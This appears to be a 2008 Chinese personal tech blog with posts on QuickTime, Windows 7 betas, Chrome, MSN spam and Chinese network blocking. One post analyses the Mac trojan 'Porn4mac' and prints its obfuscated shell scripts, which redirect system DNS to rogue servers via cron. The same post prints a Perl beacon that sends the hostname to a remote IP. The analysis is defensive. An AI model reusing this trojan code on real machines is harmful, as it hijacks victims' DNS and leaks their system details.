2008年12月27日星期六

quicktime?Slowtime!

现在觉得QT所谓“追随工业标准”就是个商业噱头而已。。QT6的时候出了个压不出ASP profile、速度慢、可选项少、效果很一般的Quicktime MPEG4编码器,不过解码其实还可以(假设容器是.mov的话)。9系统、10.1-10.2系统上基本看不到几个mov封装的MPEG4文件,大多数都是用divx doctor之类的东西从avi转过去的(另外quicktime avi组件的问题相信使用过的都知道,好像只是VFW1.1标准,AVI里的mp3、ac3音频编码根本不行,后来divx和现在的perian都开发了替代的AVI组件,解决了这个问题)。论性能,当初divx5比Quicktime MPEG4快;编码上,quicktime mpeg4和设置好的divx、3ivx以及现在的xvid是根本无法比的。
到了H264称王的时代,苹果出了QT7。QT的H264在 QT7.2之前根本就无法解码大多数实际遇到的Main profile的H264 MP4文件;就算是7.2支持了,那个解码效率,不和硬件解码、coreavc比,和libavcodec里的h264都没法比。编码么,quicktime h264和mpeg4有一样的毛病,没有几个可选项,一次只能占用一个CPU,而且也只能压出simple profile。iPod、iphone只能支持simple profile的h264,看来qt的人也认为所有的人都不需要用qt来压出他们。因此,和良好设置过的x264相比,qt的h264在相同码率、都是 1pass的情况下几乎不堪入目。
另外,在网络上低码率mp4中HE-AAC横行的时候,只支持AAC-LC的解码(编码就懒得说了)也不太好说。
熊猫本系统里的qt755总算支持了NV的h264硬件加速,这是个好事。Quicktime X是jobs在某次公开雪豹存在的会上说的,通过全硬件加速,应当会把解码性能提高一个数量级吧。而当初MPEG4的问题,至今还是那个样子。
QT的多种编辑用codec倒一直很强大,用到这点的那些软件是jobs赚大钱的部分,qt组当然不会怠慢了。
QT 还有个大问题是它抛不开789系统时代的那些古旧代码。最初QT是给6系统写的,pascal代码还是占主要部分。不过在qt2.1还是2.5的时候 QT组必须把QT全部代码都移到PPC平台,以前的东西都改写成C了。qt基础部分由于和系统结合很紧,到了OSX的时代和以前几乎就没有联系了;但是问题是那些8、9系统时代写的编码解码器,就不那么好全面翻新了。有些是根本不能全面翻新(比如sorenson、qdesign、purevoice之类从别家公司授权来的编解码器,苹果没有多少权利去进行大幅度修改和优化),有些则是因为过于古老没人用,qt组懒得去翻新(比如什么cinepak、 imadpcm一类)。还有刚才说过的AVI组件,这个大概是97年底98年初qt3的时候做的,当时apple估计只是把这个当作当时QT“兼容性”的一个宣传工具,以后应该是没有怎么更新过。后面还有flash 4、flash 5支持(7.3.1废掉了),这个也自从qt5之后就再也没有过任何更新,也许是因为当时realplayer搞了flash支持,apple只是跟一下风。这一系列古董代码,全部是用老的OS9 toolbox,或者后来稍作修改改成carbon,来编译出来的。相对于9系统到carbon,carbon到cocoa是非常复杂的,阿多币、M$搞了7年都没搞定,qt组估计看着屁股后面这一大堆的老codec,估计心有余而力不足了。qt7终于加上了一个控制QT的cocoa api QTkit,但是实际上它还是得用那些carbon的库来实际实现quicktime功能。iphone的osx没有carbon,这点大家可能都清楚;iphone能播放mpeg4、h264 simple profile的视频,播放mp3、aac、alac、pcm的音频,我认为应当是把整个qt底层移植到了cocoa。jobs应当把这个为同属于OSX 的iphone os开发的新框架移植到mac的osx上来(也许qt组已经作了一两年甚至4年以上,也许这就是quicktime X)。至于那些古董codec,我认为qt741默认隐藏它们的编码功能,qt731废掉flash5支持,其实就是为了quicktime X将彻底不支持那些古董做准备。这样,也许qt就不再是slowtime了。
不过,QT最大的问题还是跨平台后的性能问题。当初 qt1-2的时候,apple请一家小公司移植了少部分7系统API,做了个只能播放视频和支持少部分从mac移植的软件,没有什么其它功能的qt1-2 forwin;后来这个小公司和intel、m$合作,最终导致了苹果历史上与M$的第二场大官司(第一件是win2.0的外观与感觉案)。后来jobs 和M$谈判把这两个官司私了了,但估计还是怀恨在心还是怎么的,QTWin虽然变成apple自己制作,但是其性能和稳定性和在自己系统上相比,完全是一个天上一个地下。看看mplayer、mencoder,在win上性能比在老家linux上还要好;苹果就不很厚道了。不知道quicktimeX的 win版会有什么大变化,希望速度上有所提升,但是又不要加更多从OSX移植的东西。safari win其实性能并不差,不过它太OSX化(连quartz字体渲染都搞过来)了。苹果的人不知是故意还是怎么,把Win版苹果软件的界面设计得和win环境不协调(safari中出现了OSX的滚动条和按钮),这点也不知以后会怎么发展。
无聊乱敲了这么多字,其实也就因为一个文件转得太慢而已。希望quicktime X能真正quick吧。
追记:qt731干掉flash5的问题,影响到了那么一些在qt影片里用flash搞互动内容的洋人。当初imac g3有几个宣传片就有flash的互动内容在里面。
这篇文章纯属用qtpro连续出现crash之后的牢骚,别看得太重。

2008年12月17日星期三

某软件的工作原理

一篇无聊的短文,写一下某个神秘的软件(名字还是不要说好了)的原理。

首先通过10多个硬编码的dns服务器查询几个挂在一个域名服务器下的服务器IP,w61-w65.z*.com,然后通过SSL(好像还有别的加密协议)连接上这些服务器。而且一次连接成功后,会将解析结果存在注册表某个地方(具体哪里我忘了,好像是~后一个随机生成的值吧)以便下次解析时做缓存使用。

而如果那么多dns都没法连接,那么怎么办呢?那就用类似网马下载者的办法,不过不需要什么down&run,down个服务器列表就行了。这个down地址应该会经常变换,以满足这个软件的特殊用途。

怎么检测已经连接成功?这个软件会在%temp%下生成几个名字一看就是随机的无扩展名文件,其实很多都是gif,好像是yahoo美国的一张logo图吧。通过这个软件连接的那几个服务器,从yahoo上能下载成功图片,那么就证明其代理目的已经达到。

在本地,这东西开两个端口(都是HTTP proxy),禁止本地以外的ip连接,而且这个http proxy还有一些特别的策略设定(用过才知道)。以前某个端口上还能创建个特殊的简单加密URL的HTTP服务器,现在不知还有没有。

这个软件自身似乎有保护,脱了壳还不好直接运行,另外结构做得有些像马,因此经常被某些杀软误报。

现在的版本能直观显示UL/DL速度。

至于这个软件到底是什么,那就请自己猜测推断了。

另外,这次M$N Space改版彻底让非Firefox的Gecko浏览器没法发文章了,只能拿出WLW来发。M$N这些愚蠢的家伙,难道认为现在还是2001、2002年么?还不知道Gecko浏览器不只是Firefox一个么?还不知道根据user-agent识别浏览器的缺陷么?

2008年12月1日星期一

YKSOFT's Home 公告:即日起关闭评论功能

M$N的那些无所事事的家伙们,搞个Space,不仅做不到全浏览器一套脚本,连个最基本的防spam措施都不存在。(我可不认为ballmer知道这样的细节,不然他早就气炸了肺——连个有效的防spam的方案都没有,还谈什么“云计算”!)当初那些专业spammer们能够注册无数个Live ID,然后用工具在没有任何确认措施(连个CAPTCHA都没有)的情况下遍历他们Google到的live space,按一定频率自动发带HTML的spam评论。在M$那些蠢货们加上相关措施之前,我是不想再被迫用IE打开space,摘要里面打开所有评论一个个看,然后一个个删除了。
以后想对这里的任何文章或者向我本人提出任何问题,请直接与我的MSN Messenger或者AIM(yksoft1@mac.com)联系。中国国内朋友也可以使用QQ(26308285)和我联系。
特此公告
2008.12.1

2008年11月20日星期四

Adobe AIR打包器

Adobe AIR是一个所谓的在线应用程序框架,实际上是以WebKit渲染引擎和Flash插件作为核心的。运行此类程序必须安装AIR框架,但是已经有一个软件能够实现把.air的程序包(实际上就是zip里面一堆东西)打包成Windows XP SP2以上使用的.exe,名字叫做“Shu”。
Photobucket
Photobucket
我把这个打包器自己重新打了个包,内含AIR 1.5运行库,使用起来把.air拖进去,选择AIR的位置(包内的Adobe AIR目录)。本软件为未破解版,运行生成的exe会有提示。
实际上它大概就是个特殊的自解压制作程序,把AIR解压到某个地方之后hook DLL,运行。
下载:http://www.mediafire.com/download.php?z2ugyyzkbni (怎么下这个不用我说)

2008年11月3日星期一

测试日志(一)

win7 6801 32bit测试日志
1、新的UAC
第一次试图打开管理员CMD,要求输入密码。但是输入之后,运行任何要管理员权限的程序,都不再需要任何密码。组策略、高级系统设置、msconfig、文件系统权限都毫无任何提示。但是,运行irfanview尝试往C盘根目录写入文件,显示没有权限,在资源管理器中把C盘根目录,users改为完全控制,仍然无效。以管理员权限运行irfanview,写入成功。msconfig多出了一个“UAC选项”的工具,通过滚动条自顶向下可以设置4个UAC级别:最高级别类似Vista,任何触及默认权限下users无法写入的地方的操作都要确认;第二个级别则不会要求确认,只在没有运行过的程序进行“高特权”操作时要求确认;第三个是默认的设定,一次确认后,输入密码获得管理员权限之后,再要求管理员权限就不会再继续要求确认,但是没有为UAC优化的部分老程序,仍然必须手工给予管理员权限才能写入那些所谓“默认被保护”的位置。第四个就是关闭UAC的状态。
2、windows图片库 非常慢,irfanview保存的图片尤其如此。
3、服务
增加了大量的新服务,比如Adaptive brightness(亮度感应器?)、AppID Service、Base Filtering Engine、CNG Key Isolation、两个“Homegroup”服务、Pong Service for Wireless USB、Quality Windows Audio Video Experience、Thread Ordering Server、Windows Font Cache Service、PnP-X IP Bus Enumerator、Windows Color System、WWAN AutoConfig、Windows Driver Foundation - User-mode Driver Framework、Windows Remote Management (WS-Management),等等。其中至于无线USB、自动亮度感应、WWAN、PnP-X、WS-management等等很明显是新增加的功能,而还有其他一些服务是从原来Vista系统的一个服务变成多个(比如Internet连接共享和windows防火墙就独立成两个了)、或者只是改了个名字(比如Fax、Software Protection(原来的SLsvc)。不过,整个服务列表中,刚启动系统时,大概有一半并没有启动。
4、16位的Windows程序和DOS程序
很幸运也很不幸的是,M$并没有把NTVDM从这个版本中去掉。因此,原本在Vista中能运行的16位程序甚至DOS程序,在这个版本中仍然可以运行。
5、消息管理器
这个消息当然不是SendMessageA那个消息,而是原来右下角经常出现的那些“气泡窗口”。
6、Solution Center
把以前的兼容性向导、错误报告之类的东西放在一起的产物。不过我不喜欢这类东西,系统太傻瓜化了那还叫系统吗?另外,我没找到禁止程序crash时自动做dump的办法。

某下一版本系统 build6801 部分截图(全部PNG)

环境:Hackintosh 10.4,VMWare Fusion 2.0 beta1。32位系统。
前半安装过程和Vista基本相同,但是疯狂打点那一步没有了。
新的启动画面。
Photobucket
建立账户。
Photobucket
输入key。
Photobucket
系统属性。
Photobucket
新版的三个附件。
Photobucket
资源管理器,和UAC提示。
Photobucket
组策略。
Photobucket
新的任务管理器,可以看到一些新出现的进程名。
Photobucket
新增的UAC级别设置。
Photobucket
msconfig中更新的常用工具选项卡。
Photobucket
设备管理器(没有变化)。
Photobucket

人无我有的重头戏——Windows 7 下的16位程序和DOS程序。
Photobucket
Photobucket
Photobucket
Photobucket
Photobucket

11.4追记:cnbeta效应直接把我的相册给黑了。看来得赶快先暂存别处。。
(已经恢复了,看来digg effect不会再继续)

2008年10月24日星期五

我早就料到这一天的到来了(10.26:第二层。)

C:\Documents and Settings\yksoft1.YKSOFT-PC>tracert www.mediafire.com
Tracing route to www.mediafire.com [38.114.196.10]
over a maximum of 30 hops:
1 7 ms 1 ms 2 ms 192.168.18.1
2 * * * Request timed out.
3 107 ms 101 ms 511 ms 222.247.29.45
4 484 ms 487 ms 492 ms 61.187.255.69
5 184 ms 534 ms * 61.137.2.173
6 279 ms 563 ms 110 ms 202.97.40.89
7 112 ms 524 ms 516 ms 202.97.36.93
8 124 ms 462 ms 716 ms 202.97.35.61
9 511 ms 276 ms 492 ms 202.97.44.58
10 * * * Request timed out.
11 * * * Request timed out.
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 ^C

有经验的估计已经明白了我这段的意思。

38.11x的IP貌似经常都被放入某些人的黑名单,这次果然。

mediafire作为目前最强大、最未来化(全AJAX)的网盘,也是我有大量文件保存的网盘,这一次相当不幸。希望只是电信部分而已,网通(也许现在应该叫联通)的情况目前还不知道。
Update Oct, 24 23:24:

tracert www.mediafire.com

Tracing route to www.mediafire.com [38.114.196.10]
over a maximum of 30 hops:

1 <1 ms <1 ms <1 ms 10.10.254.254
2 7 ms 9 ms 8 ms 218.104.103.105
3 2 ms 1 ms 2 ms 218.104.110.205
4 2 ms 1 ms 1 ms 218.104.110.61
5 49 ms 49 ms 49 ms 218.104.110.245
6 79 ms 82 ms 81 ms 219.158.9.229
7 * * * Request timed out.
8 * * * Request timed out.
9 * * * Request timed out.
10 * * * Request timed out.
11 * * * Request timed out.
12 * * * Request timed out.
13 * *

这个是网通的结果。看来我应该是火星了,发现晚了! 追记10.26:第二层。http://www.google.com/search?hl=en&q=http%3A%2F%2Fwww.mediafire.com%2F%3Fsharekey%3Db88e2ce4ed1308ff4012e8015643d9c83641894ced2f0a0b&btnG=Google+Search&aq=f&oq= 。。。。没话说,又是传说中无敌地简单与粗暴。

2008年9月30日星期二

被传说中的广告公司、打钱工作室盯上了




好像在几个特定的时候,M$N Spaces的验证、反垃圾技术出现了严重的漏洞。5月末、8月末至9月是最严重的时候——看看我这个小小blog上的这些广告评论吧。

大哥,我不打美服和其他任何服务器的WoW,不要便宜的劳力士,没有LCD卖,更不需要任何其他服务,请您高抬贵手,放过小弟吧!大哥的"widespread marketing network"实在是太厉害了!另外大哥的英文要加油啊,要不一口chinglish怎么可能进行国际发展呢?

删除MSN垃圾评论的最快办法是切换到Mobile spaces,直接删除最近评论~(容易碰某系统,建议用某些软件登上去)

另外,还有Orz的中英文混合。。。


有个高手,名叫changyongkuivip(常永奎?),在我这里发了不少垃圾。

2008年9月3日星期三

Google Chrome 浏览器 0.2.149.27 免安装版

Photobucket
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13
Google 终于带兵杀出,突入第二次浏览器大战主战场——Windows平台了。这个新的浏览器使用了IE8使用的“多进程”技术,也就是把每一个页面独立成一个进程;不同的是,Google Chrome把每个插件的进程也独立出来了。它使用Webkit渲染引擎,但是文字和图形均使用Windows自己的渲染方式。也就是说,这个浏览器实际上是Safari for Windows的同类,也可能是最大的竞争者——和Mozilla系列浏览器相比,这个浏览器的扩展性可能比IE6还差,只支持NPAPI插件。
其界面可谓极端简单,大有Mac OS 9程序的味道;但是没有标题栏和菜单栏这一点,让很多人都感到头疼。体积只有Safari for Windows的一半,而且不需要VC2005的运行库。但是,其占用内存只是比Safari稍小一点,而且不太好统计——打开一个浏览器就会出现两个进程,一个控制进程,一个主页页面进程;来到一个新的域,又会打开一个,一个插件自己要用一个。不过这样也有明显的优点——当插件Crash或者死掉的时候,一个页面的Javascript陷入死循环的时候,不需要干掉整个浏览器,只要控制进程不死,就可以打开内置的“任务管理器”杀掉无响应的插件或者页面。
Photobucket
目前这个浏览器设置界面非常简陋,代理服务器和Safari for Windows那样使用IE的设置,而且没有考虑到在小于800*600的分辨率如初代 eeePC 平台的使用。设置中能很明显地看出Safari的影子。
Photobucket
Photobucket
Photobucket
个人不喜欢的一点:简体中文语言文件中把Google写成了那个难听之极的名字。另外,目前Chrome不能在WINE和其他基于WINE的Windows平台模拟器上使用(无法打开任何网页)。
默认安装了两个NPAPI插件:ActiveX Plug-in (activex-shim,应该是集成在chrome.dll中)和Google Gears 0.4.17.0(gears.dll)。默认能够转换部分ActiveX,也是这个浏览器的一个小特点。但是,测试了国内的工行网银和支付宝,发现这东西根本没有起作用。支付宝密码框提示找不到插件,工行密码框则是空白。
在线安装版本(XP下)居然安装在%UserProfile%\Local Settings\Application Data\Google\Chrome\Application下,而且主运行程序和支持文件不在一个目录,直接拷出来没法运行,但是把主EXE和chrome.dll等支持文件放到一个目录就能直接运行了。First Run文件是用来判断是否已经完成了第一次运行的配置界面(不管实际上有没有配置文件存在)。
我不认为Google这个广告公司进军浏览器市场对IE、Mozilla能起到什么冲击,就像Gtalk冲击不了AIM和MSN Messenger那样;但是作为使用相同引擎,却比Safari for Windows 更快、占用内存稍少而且使用起来一样简单方便的浏览器,对Safari for Windows可能是一个巨大的挑战。
免安装版下载:http://www.mediafire.com/?vv2hkpt3lgn

2008年8月23日星期六

SB文章:乱弹浏览器大战与三国

有人说,现在的IE就像曹魏,Firefox就像蜀汉,Opera就像是东吴,Safari则是南蛮孟获。我觉得这个有那么一定的道理。下面我乱弹一下。
当初(93年之前),GUI的浏览器突然像镇压黄巾军一般给整个IT业掀起了一股风暴。很快,出现了一个地位如同“董卓之傀儡汉帝”的浏览器——NCSA Mosaic。但在董卓遭吕布刺杀(Mosaic开发组多个核心人物离开Mosaic,组建后来Netscape公司的前身)但很快群雄并起,开始疯狂蚕食Mosaic的市场份额。其中曹操(IE)、袁绍(Netscape)、孙坚(Opera)是其中比较强大的三个。袁绍自恃拥有传国玉玺和原本为董卓服务的一些势力(Netscape2.x以前基本完全使用Mosaic的源码,甚至第一版就叫Mosaic Netscape),拥兵自重;曹操随即“挟天子以令诸侯”(直接买下了另一个挂着Mosaic旗号却非Mosaic源代码的Spyglass Mosaic授权)。江东孙坚,在一段传奇经历后,脱离袁术而在江东建立自己的基业(Opera在离主战场美国遥远的挪威,完全自己开发浏览器引擎)。
官渡之战(第一次浏览器大战)爆发了。曹操以远远劣势于袁绍的兵力,使出了烧毁乌巢粮仓这着险棋(完全免费、Windows绑IE、Windows内加入大量非文档化API以使第三方软件性能下降),断了袁军10数万大军的粮;袁绍很快就大败,加上内部分裂(Netscape5开发时的两个方向分歧),最终被消灭(Netscape几乎完全被打倒,接近破产状态;Netscape 5.0取消)。
在官渡之战之前,刘备(代表开源势力,后来专门指mozilla)已经小有名气,正在袁绍门下。官渡之战很快失败,被派到同盟刘表处的刘备开始面临曹操的巨大压力。三顾茅庐,带着Netscape遗产的刘备,见到了诸葛亮。曹操(IE)已经统一北方,而孙权(Opera)固守江东一隅,而刘备(Netscape分出的Mozilla组织)则要抢占人和了。几次打败曹操之后,刘备在荆州刘表门下逐渐发展起来(Mozilla 开始不断发布其Mozilla套装的新版本)。
但是,刘表一死,其子刘琮立马投靠曹操,被刘备击败,荆州完全归属于刘备之下。(AOL 关闭了Netscape部门,Mozilla完全独立成为基金会)。曹操大军压境,随时准备征讨刘备和孙权。此时孙刘形成联盟(Opera、Firefox的快速崛起),在曹操中连环计(为垄断地位沾沾自喜,开发IE7进度缓慢,致命漏洞补不完)之际,在赤壁沉重地打击了曹操军(第二次浏览器大战前半)。
虽然之后Opera没有吃掉Mozilla系的“关羽”,Mozilla也没有人暗杀自己的“张飞”,因此Mozilla和Opera还没有干起来。然而,曹操马上就要死去(Windows 7将很快代替Vista),而一直在南蛮(Mac平台)的蛮人孟获(Safari)也把汉人(IE for Mac)赶出了自己的统治区,拥有了强大的军队,并且在艰难地向中原扩张(Safari for Windows)。下面究竟会发生什么事情呢?最终Mozilla把Safari吃掉(七擒孟获),IE的地位被M$新平台占据(司马代魏)都不太可能。但是不管怎么样,“曹魏”不可能最终统一浏览器平台!

2008年8月18日星期一

iTunes Store 无法访问(8月22日恢复)

狗林匹克正酣之际,曾经在此盛会之前率先负责发行一张支持某3股势力之一的专辑的苹果iTunes Store在线商店,遭到了我们伟大的国家级系统的自动封锁。
Photobucket
发出此数据包后,连接立即被重置,是典型的碰第二层get过滤墙症状:
GET /WebObjects/MZStore.woa/wa/initiateSession?ix=2 HTTP/1.1
Accept-Language: zh-cn, zh;q=0.75, en-us;q=0.50, en;q=0.25
X-Apple-Tz: 0
Cookie: s_vi=[CS]v1|4763FF9E000058FC-A290A6100000132[CE]
User-Agent: iTunes/7.6 (Windows; U; Microsoft Windows XP Home Edition Service Pack 2 (Build 2600)) DPI/96
X-Apple-Validation: 90946420-59F57942347F9663D05A9B247E8DE2AE
Accept-Encoding: gzip
X-Apple-Store-Front: 143441-1
Host: ax.phobos.apple.com.edgesuite.net

经查,关键字为
ax.phobos.apple.com.edgesuite.net/WebObjects/MZStore.woa
(必须完整,不能少一个字节)
大家从Think Different的某张海报中都知道苹果一贯支持某流亡海外近50年的Lamer的行动,现在终于触动了某些人的神经。
追记8月22日晚:封锁似乎已经解除,估计北京有洋人提出不满了。

2008年7月31日星期四

QQ for Linux试用简易报告

年初曾经发过QQ for Mac早期版本的试用报告,在7月的最后一天,我也准备写写有关QQ for Linux最新公开版的体验报告。
我现在手上没有能够启动的Linux,准备了一张Fedora 9的LiveCD(有朋友已经在自己的FC9上使用过,其刚装上的系统已经满足了所有的依存性)。
启动进入FC9 LiveCD,调好网络。直接下载tarball。解开,运行,登录,一气呵成,没有发现依存性问题。
Photobucket
这的确是史上最精简的QQ,连QQ for Mac都用了6个定制framework,而这仅仅有4个文件。从图中可以看到,本QQ for Linux的主界面和Windows下的TM2008、以及QQ for Mac十分相似。同样是将好友、群、记录分为三个标签来列出。下方的两行工具栏,只有一个“设置”和“查找/添加联系人”按钮。左下角的那个“开始”按钮,在GNOME环境下,看着却有些不伦不类了。
Photobucket
这是主聊天窗口。可以看到使用了多标签页的形式。左下角的按钮我看了半天还是没看出来有什么用途,直到体验最后才看出是切换标签/多窗口模式之用。暂时不能发送文件和图片,但是可以使用内置表情。
Photobucket
群聊画面。这看上去就和Windows版的多数QQ、TM都差不多。不能显示群名片,能够接收到部分群内图片却不能发送。工具条的第三个按钮是“屏蔽消息”——显示消息数量之类功能,还没有做出来。
PhotobucketPhotobucket
这是设置外观的两个小窗口。其实如果Windows版的QQ或者TM也这么简单,就很不错。
Photobucket
没有看到消息管理界面,聊天窗口中点击 聊天记录 是在聊天窗口主文本框中显示。
Photobucket
Photobucket
Photobucket
Photobucket
设置窗口。可以看到Windows版本QQ/TM能够设置的东西基本上这里都有。但是有一个问题,就是选择个人资料中的“省、市”处如果原来没有填写,就会自动出来“北京市东城区”。
Photobucket
Photobucket
添加好友窗口。和PC版的功能大同小异。这里那个“有摄像头的”什么时候才能对Mac OS X、Linux用户真正地起到作用呢?
Photobucket
所谓最终用户许可协议,可以看出QQ for Linux的授权和腾讯的其他产品一模一样,是一个开源平台上的私有免费软件。
Photobucket
默认的提醒方式,不是像现在版本的QQ for Mac那样毫不讲理地跳出来,而是闪烁图标,单击后选择打开来自哪里的新消息。
这个版本的QQ for Linux,从表面上看和Windows上的TM2008已经差不多了,但是至于功能,仍然处于和早期版本QQ for Mac一个水平上,尚未实现文件和图片传送等一些扩展功能,但是能够接收群内图片,比Pidgin、Adium的QQ功能稍强。很高兴能够看到,国内一个具有接近垄断地位的公司,能够支持软件、服务的跨平台,这是相当不容易的。

MSN 7.5彻底完蛋

今天打开我的那个Hack(版本号)版MSN 7.5(怎么Hack的,以前我这里介绍过),发现永远登不上(显示错误81000395)。换出Messenger 8.5和Messenger 5.0,却都登录正常。
Photobucket
稍微抓了一下包,5.0的协议是MSNP8,7.0的协议是MSNP11,8.1、8.5的协议是MSNP15,而这几个版本登录则不会出错。7.5的版本是MSNP12,发送完密码hash之后马上就81000395了。
看来现在M$已经认识到了长期允许特殊改版登录的这个错误的严重性了。

2008年7月24日星期四

对Mac OS X上的一个木马Porn4mac的简单分析

这是今年早些时候一些国外安全公司炒作的所谓“Mac OS X上第一个木马病毒”。
该木马的主要传播方式为一个很小的dmg文件,其中包含一个安装程序install.pkg。包内容如下:

分析了一下
这个东西是个修改DNS的木马小程序,主要部分是三个脚本,两个sh脚本,一个perl脚本
第一个文件:plugins.settings
#!/bin/sh
x=`cat $0 |wc -l|awk '{print $1}'`;x=`expr $x - 2`;tail -$x $0 |tr vdehrujzpbqafwtgkxyilcnos upxmfqrzibdanwgkethlcyosv>1;sh 1 85.255.116.150 85.255.112.148; exit;
#!/bpf/oy
daxy="/Lpbjajc/Ifxkjfkx Pivt-Ifo"
PSID=$( (/voj/obpf/olvxpi | tjkd PjphajcSkjsplk | okq -k 'o/.*PjphajcSkjsplk : //')<< kepox="`ljnfxab">/qks/fvii 2>&1" > ljnf.pfox
ljnfxab ljnf.pfox
jh -jr ljnf.pfox
rp
jh -jr $0
这是主要代码
前半段使用了tr命令进行简单的字符替换解密
解密之后的结果(得到文件 1)是
#!/bin/sh
path="/Library/Internet Plug-Ins"
PSID=$( (/usr/sbin/scutil | grep PrimaryService | sed -e 's/.*PrimaryService : //')<< exist="`crontab">/dev/null 2>&1" > cron.inst
crontab cron.inst
rm -rf cron.inst
fi
rm -rf $0
这个是那个tr命令生成的1文件,再通过 sh 1 85.255.116.150 85.255.112.148 运行这个1文件,它又通过d.add ServerAddresses * $1 $2; set State:/Network/Service/$PSID/DNS 把两个参数设置为系统的DNS地址,达到破坏目的。
再看1中执行的Quicktime.xpt文件:
#!/bin/sh
x=`cat "$0" |wc -l|awk '{print $1}'`;x=`expr $x - 2`;tail -$x "$0" |tr vdehrujzpbqafwtgkxyilcnos upxmfqrzibdanwgkethlcyosv>1;s1=cx.zxx.aax.xq;s2=cx.zxx.aaz.axs;sh 1 `echo $s1|tr qazwsxedcr 0123456789` `echo $s2| tr qazwsxedcr 0123456789`;exit;
#!/bpf/oy
daxy="/Lpbjajc/Ifxkjfkx Pivt-Ifo"
PSID=$( (/voj/obpf/olvxpi | tjkd PjphajcSkjsplk | okq -k 'o/.*PjphajcSkjsplk : //')<< kepox="`ljnfxab">/qks/fvii 2>&1" > ljnf.pfox
ljnfxab ljnf.pfox
jh -jr ljnf.pfox
rp
jh -jr "$0"
又是同一种加密,不过这次把数字也给替换了。解密生成的1的代码和上面的1大同小异。
这是病毒的破坏部分:plugins.settings和QuickTime.xpt。
病毒还有一个Internet插件Mozillaplug.plugin,看上去只是为了让用户知道已装上了这个恶意软件。里面有个VerifyDownloadPlugin可执行文件,里面只有几十个字节的PPC和Intel代码(没有调试器,没法看这是干些什么),Resources里面的主.rsrc里就两个STR#资源,其中一个是:

另外一个就是两个空字节。我认为这个所谓的Internet插件就是能够保证在每次启动浏览器时就会把上面的两个主要恶意脚本运行。
另外,安装之后还会把机器的一个ID发送到某网站。这是安装PKG的postinstall脚本:
#!/bin/sh
path="/Library/Internet Plug-Ins/"
/usr/bin/perl "$path/sendreq"
rm -rf "$path/sendreq"
这里是sendreq文件的内容:
#!/usr/bin/perl
use IO::Socket;

sub encode_base64 ($;$)
{
if ($] >= 5.006) {
require bytes;
if (bytes::length($_[0]) > length($_[0]) ||
($] >= 5.008 && $_[0] =~ /[^\0-\xFF]/))
{
require Carp;
Carp::croak("The Base64 encoding is only defined for bytes");
}
}

use integer;

my $eol = $_[1];
$eol = "\n" unless defined $eol;

my $res = pack("u", $_[0]);
# Remove first character of each line, remove newlines
$res =~ s/^.//mg;
$res =~ s/\n//g;

$res =~ tr|` -_|AA-Za-z0-9+/|; # `# help emacs
# fix padding at the end
my $padding = (3 - length($_[0]) % 3) % 3;
$res =~ s/.{$padding}$/'=' x $padding/e if $padding;
# break encoded string into lines of no more than 76 characters each
if (length $eol) {
$res =~ s/(.{1,76})/$1$eol/g;
}
return $res;
}



my $server="64.28.188.220";
my $cmd=`uname -p;echo ";";hostname`;
$cmd=~s/\n//g;
my $uniqid=encode_base64("mac;".$cmd);
$uniqid=~s/\n//g;
my $request="GET / HTTP/1.1\r\nAccept-Language: $uniqid\r\nHost: $server\r\n\r\n";

my $socket=IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>80,Proto=>"tcp",timeout=>10) or die();
print $socket $request;
close($socket);
我不懂PERL语言,但是能看出第一段是个base64编码的子程序,后半段也容易看出是使用perl的INET对象连接64.28.188.220的80端口,把机器的某个独一无二的ID通过base64编码后,放在HTTP头的Accept-Language段中发送到这个服务器。应当是用于感染率统计用。

这个东西的功能还是过分简单,和真正的病毒木马还是有很大区别。
这个病毒需要输入管理员密码登录root才能安装成功,因此危害并不很大。
由于我并非UNIX达人,这些脚本我连注释都没加,兴许需要达人帮助才能真正分析出来。

2008年7月10日星期四

和某高人关于现在的apple inc.的一段聊天记录

電子妖精yksoft1: 嗯

你认为现在苹果内部出了什么问题

stevenraptorxiong: 苹果?

電子妖精yksoft1: 嗯

stevenraptorxiong: 他们以为用户做最好的产品为借口

自甘堕落

電子妖精yksoft1: 在拼着命吸血

stevenraptorxiong: 去年的D5上

SJ说97年时候

苹果的问题是忘记了苹果是什么

電子妖精yksoft1: 现在的苹果

stevenraptorxiong: 并不是说苹果要成功

MS就必须失败

電子妖精yksoft1: 删掉了自己 电脑公司 的称号

stevenraptorxiong: 是的啊

電子妖精yksoft1: 忘记了自己的光荣传统

stevenraptorxiong: 呵呵

但是

苹果的确不是为了摧毁另一个公司而存在的

電子妖精yksoft1: 1984年的一句话

stevenraptorxiong: 它需要的不是对对手不利的决策和计划

而是对自己有利的计划

電子妖精yksoft1: Computers for the rest of us

stevenraptorxiong: 嗯

但是今天苹果在纠正过去错误的道路上走到了另一个极端去了

電子妖精yksoft1: 我觉得苹果现在的东西

都是拿用户当免费beta测试员

stevenraptorxiong: 有点这个意思

可能设计目的不坏

但是拿人当试验品

对一个商业话的公司来说是很不可取的

但是也体现了苹果的不负责人

和SJ那样

出尔反尔,小人一个

苹果的设计变得很粗糙,然后浅薄

苹果不是外表

事实上是精神

電子妖精yksoft1: jobs不死

stevenraptorxiong: 今天SJ在说的时候也绝少说到苹果核心的理念了

電子妖精yksoft1: 我不会再给这公司一分钱

stevenraptorxiong: 不过是说如何刺激客户去买更多苹果的产品

呵呵

但是原来Mac的核心用户是不会接受这样的苹果的产品的

電子妖精yksoft1: 不过是说如何刺激客户去买更多苹果的产品

就是如此

stevenraptorxiong: 嗯

電子妖精yksoft1: 总之jobs越老越想再捞

stevenraptorxiong: 我就不知道他图什么呢

我说了很多次

Jonny说的

他当初为什么到苹果

他说这个公司可以不为钱做一个濒临倒闭的公司的骄傲的抉择

但是今天的苹果不是

今天苹果不是要去自残,但是也要有自己的精神

他已经代表不了繁多产品和财务报表外更多的东西了

我最喜欢的设计

電子妖精yksoft1: 我觉得

stevenraptorxiong: 就如同以前苹果的产品那样

電子妖精yksoft1: jobs一步步实现自己贪婪的目的

stevenraptorxiong: 对我影响很大

有点

虽然我不想承认这点

電子妖精yksoft1: 从get a mac的广告出现就开始了

stevenraptorxiong: 呵呵

那样去诋毁别人,是不最不喜欢的

電子妖精yksoft1: 那是一个有道德的企业该做的吗

stevenraptorxiong: 那个广告也许搞笑,但是很低劣

我觉得你如果有自信,就别去和别人比

我以前用Mac

总是能慢慢去发现那些细节,体现了设计者的用心,和设计的水准

電子妖精yksoft1: 现在呢

